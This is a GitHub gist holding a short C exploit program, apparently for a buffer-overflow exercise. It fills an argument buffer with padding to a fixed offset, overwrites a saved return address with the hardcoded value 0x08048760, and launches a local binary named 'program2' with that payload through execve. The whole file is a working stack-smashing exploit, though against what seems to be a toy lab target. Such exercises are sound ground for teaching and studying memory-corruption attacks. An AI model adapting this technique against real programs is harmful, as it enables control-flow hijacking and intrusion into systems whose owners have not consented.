Created
December 11, 2013 08:59
-
-
Save kaworu/7907124 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #define HINT 0x8048760 | |
| #define SIZE 129 | |
| #define OFFSET (113 - 7) | |
| #define EXEC "program2" | |
| int main(void) | |
| { | |
| char *argv_[3]; | |
| char *envp_[1] = { NULL }; | |
| static char payload[SIZE + 1]; | |
| memset(payload, 'a', OFFSET); | |
| payload[OFFSET + 0] = 0x60; | |
| payload[OFFSET + 1] = 0x87; | |
| payload[OFFSET + 2] = 0x04; | |
| payload[OFFSET + 3] = 0x08; | |
| memset(payload+OFFSET+4, 'b', SIZE - OFFSET); | |
| payload[SIZE] = 0x00; | |
| argv_[0] = EXEC; | |
| argv_[1] = payload; | |
| argv_[2] = NULL; | |
| execve(EXEC, argv_, envp_); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment